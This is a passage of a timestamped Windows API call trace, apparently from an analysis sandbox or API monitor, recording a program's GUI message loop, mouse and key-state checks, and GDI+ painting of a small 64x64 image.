returned 0x0 [0147.389] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0034) returned 0x0 [0147.389] GetKeyState (nVirtKey=1) returned 0 [0147.389] GetKeyState (nVirtKey=2) returned 0 [0147.389] GetKeyState (nVirtKey=4) returned 0 [0147.389] GetKeyState (nVirtKey=5) returned 0 [0147.389] GetKeyState (nVirtKey=6) returned 0 [0147.389] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.389] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.389] WaitMessage () returned 1 [0147.390] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.390] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.390] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.390] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.390] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.391] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0147.391] GetCurrentThreadId () returned 0xec0 [0147.391] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0147.391] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.391] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.391] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.391] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.391] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.391] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0147.391] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0147.391] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff87010781 [0147.391] SelectObject (hdc=0xffffffff87010781, h=0x1a05067e) returned 0x185000f [0147.392] GdipCreateFromHDC (hdc=0xffffffff87010781, graphics=0x15daf0) returned 0x0 [0147.392] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0147.392] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0147.392] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0147.392] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0147.392] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0147.392] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.392] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0147.393] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.393] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.393] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0147.393] GdipCreateRegion (region=0x15dc20) returned 0x0 [0147.393] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0147.393] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0147.393] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0147.393] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.393] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.393] GetSystemMetrics (nIndex=42) returned 0 [0147.393] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.393] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.393] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.394] CoTaskMemFree (pv=0x1e91eca0) [0147.394] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0147.394] GdipCreateRegion (region=0x15d710) returned 0x0 [0147.394] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0147.394] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0147.394] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0147.394] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0147.394] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.394] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.394] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.395] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0147.395] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.395] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.395] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.395] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.395] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0147.395] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0147.395] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0147.395] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0147.395] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.396] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0147.396] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0147.396] GetCurrentObject (hdc=0xffffffff87010781, type=0x1) returned 0x1b00017 [0147.396] GetCurrentObject (hdc=0xffffffff87010781, type=0x2) returned 0x1900010 [0147.396] GetCurrentObject (hdc=0xffffffff87010781, type=0x7) returned 0x1a05067e [0147.396] GetCurrentObject (hdc=0xffffffff87010781, type=0x6) returned 0x18a002e [0147.396] SaveDC (hdc=0xffffffff87010781) returned 1 [0147.396] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe40407c3 [0147.396] GetClipRgn (hdc=0xffffffff87010781, hrgn=0xffffffffe40407c3) returned 0 [0147.396] SelectClipRgn (hdc=0xffffffff87010781, hrgn=0xffffffffb4040b8a) returned 2 [0147.396] DeleteObject (ho=0xffffffffe40407c3) returned 1 [0147.396] DeleteObject (ho=0xffffffffb4040b8a) returned 1 [0147.396] OffsetViewportOrgEx (in: hdc=0xffffffff87010781, x=0, y=0, lppt=0x26eaf70 | out: lppt=0x26eaf70) returned 1 [0147.396] GetNearestColor (hdc=0xffffffff87010781, color=0xffffff) returned 0xffffff [0147.397] CreateSolidBrush (color=0xffffff) returned 0xffffffffbc100190 [0147.397] FillRect (hDC=0xffffffff87010781, lprc=0x15d7c0, hbr=0xffffffffbc100190) returned 1 [0147.397] DeleteObject (ho=0xffffffffbc100190) returned 1 [0147.397] RestoreDC (hdc=0xffffffff87010781, nSavedDC=-1) returned 1 [0147.397] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.397] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff87010781) returned 0x0 [0147.397] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc6e0dbd) returned 0x0 [0147.397] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.397] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0147.397] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.397] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.397] GetSystemMetrics (nIndex=42) returned 0 [0147.397] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.397] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.397] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.397] CoTaskMemFree (pv=0x1e91eca0) [0147.398] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0147.398] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0147.398] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0147.398] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0147.398] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0xffffffff87010781, x1=0, y1=0, rop=0xcc0020) returned 1 [0147.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.398] GdipReleaseDC (graphics=0x1de4fd10, hdc=0xffffffff87010781) returned 0x0 [0147.398] SelectObject (hdc=0xffffffff87010781, h=0x185000f) returned 0x1a05067e [0147.398] DeleteDC (hdc=0xffffffff87010781) returned 1 [0147.398] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.398] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0147.398] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0147.398] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0147.399] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.399] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.399] WaitMessage () returned 1 [0147.401] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.401] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750281) returned 0x1 [0147.401] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.401] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.401] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750281) returned 0x1 [0147.401] SetCursor (hCursor=0x10003) returned 0x10003 [0147.401] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.401] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.401] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c002a) returned 0x0 [0147.401] GetKeyState (nVirtKey=1) returned 0 [0147.401] GetKeyState (nVirtKey=2) returned 0 [0147.401] GetKeyState (nVirtKey=4) returned 0 [0147.401] GetKeyState (nVirtKey=5) returned 0 [0147.401] GetKeyState (nVirtKey=6) returned 0 [0147.402] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.402] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.402] WaitMessage () returned 1 [0147.435] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.435] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750277) returned 0x1 [0147.435] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.435] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.435] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750277) returned 0x1 [0147.436] SetCursor (hCursor=0x10003) returned 0x10003 [0147.436] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.436] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.436] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0020) returned 0x0 [0147.436] GetKeyState (nVirtKey=1) returned 0 [0147.436] GetKeyState (nVirtKey=2) returned 0 [0147.436] GetKeyState (nVirtKey=4) returned 0 [0147.436] GetKeyState (nVirtKey=5) returned 0 [0147.436] GetKeyState (nVirtKey=6) returned 0 [0147.436] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.436] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.436] WaitMessage () returned 1 [0147.453] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.453] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175026d) returned 0x1 [0147.453] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.454] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.454] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x175026d) returned 0x1 [0147.454] SetCursor (hCursor=0x10003) returned 0x10003 [0147.454] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.454] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.454] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0016) returned 0x0 [0147.454] GetKeyState (nVirtKey=1) returned 0 [0147.454] GetKeyState (nVirtKey=2) returned 0 [0147.454] GetKeyState (nVirtKey=4) returned 0 [0147.454] GetKeyState (nVirtKey=5) returned 0 [0147.454] GetKeyState (nVirtKey=6) returned 0 [0147.454] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.454] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.454] WaitMessage () returned 1 [0147.463] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.463] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750263) returned 0x1 [0147.463] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.463] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.463] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750263) returned 0x1 [0147.463] SetCursor (hCursor=0x10003) returned 0x10003 [0147.463] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.463] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.464] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c000c) returned 0x0 [0147.464] GetKeyState (nVirtKey=1) returned 0 [0147.464] GetKeyState (nVirtKey=2) returned 0 [0147.464] GetKeyState (nVirtKey=4) returned 0 [0147.464] GetKeyState (nVirtKey=5) returned 0 [0147.464] GetKeyState (nVirtKey=6) returned 0 [0147.464] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.464] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.464] WaitMessage () returned 1 [0147.480] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.480] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750259) returned 0x1 [0147.481] IsWindowUnicode (hWnd=0x20312) returned 1 [0147.481] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.481] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1750259) returned 0x1 [0147.481] SetCursor (hCursor=0x10003) returned 0x10003 [0147.481] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.481] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.481] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x4c0002) returned 0x0 [0147.481] GetKeyState (nVirtKey=1) returned 0 [0147.481] GetKeyState (nVirtKey=2) returned 0 [0147.481] GetKeyState (nVirtKey=4) returned 0 [0147.481] GetKeyState (nVirtKey=5) returned 0 [0147.481] GetKeyState (nVirtKey=6) returned 0 [0147.481] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.481] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.481] WaitMessage () returned 1 [0147.493] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.493] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x175024f) returned 0x1 [0147.494] IsWindowUnicode (hWnd=0x702f6) returned 1 [0147.494] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.494] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.494] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0147.494] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x175024f) returned 0x1 [0147.494] IsWindowUnicode (hWnd=0x702f6) returned 1 [0147.494] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.494] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x175024f) returned 0x1 [0147.494] SetCursor (hCursor=0x10003) returned 0x10003 [0147.494] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.494] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.494] _TrackMouseEvent (in: lpEventTrack=0x267ee10 | out: lpEventTrack=0x267ee10) returned 1 [0147.495] SendMessageW (hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0147.495] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xc1cd, wParam=0x0, lParam=0x0) returned 0x0 [0147.495] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x200, wParam=0x0, lParam=0x580004) returned 0x0 [0147.495] GetKeyState (nVirtKey=1) returned 0 [0147.495] GetKeyState (nVirtKey=2) returned 0 [0147.495] GetKeyState (nVirtKey=4) returned 0 [0147.495] GetKeyState (nVirtKey=5) returned 0 [0147.495] GetKeyState (nVirtKey=6) returned 0 [0147.495] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.495] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.495] WaitMessage () returned 1 [0147.505] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.505] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.505] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.505] IsWindowUnicode (hWnd=0x702f6) returned 1 [0147.505] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.505] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.505] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.505] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0147.505] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.505] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0147.505] WaitMessage () returned 1 [0147.518] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.518] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.518] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.518] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.519] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.519] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0147.519] GetCurrentThreadId () returned 0xec0 [0147.519] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0147.519] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0147.519] IsWindowUnicode (hWnd=0x2031e) returned 1 [0147.519] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0147.519] TranslateMessage (lpMsg=0x15e910) returned 0 [0147.519] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0147.519] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0147.519] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0147.519] CreateCompatibleDC (hdc=0x3010b83) returned 0xffffffff88010781 [0147.519] SelectObject (hdc=0xffffffff88010781, h=0x1a05067e) returned 0x185000f [0147.520] GdipCreateFromHDC (hdc=0xffffffff88010781, graphics=0x15daf0) returned 0x0 [0147.520] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0147.520] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0147.520] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0147.520] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0147.520] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0147.520] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.520] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0147.521] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.521] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.521] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0147.521] GdipCreateRegion (region=0x15dc20) returned 0x0 [0147.521] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0147.521] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0147.521] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0147.521] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0147.521] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0147.521] GetSystemMetrics (nIndex=42) returned 0 [0147.521] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0147.521] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0147.521] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0147.522] CoTaskMemFree (pv=0x1e91eca0) [0147.522] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0147.522] GdipCreateRegion (region=0x15d710) returned 0x0 [0147.522] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0147.522] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0147.522] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0147.522] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0147.522] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.522] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.522] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.523] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0147.523] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0147.523] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0147.523] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0147.523] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0147.523] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0147.523] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0147.523] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0147.523] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, 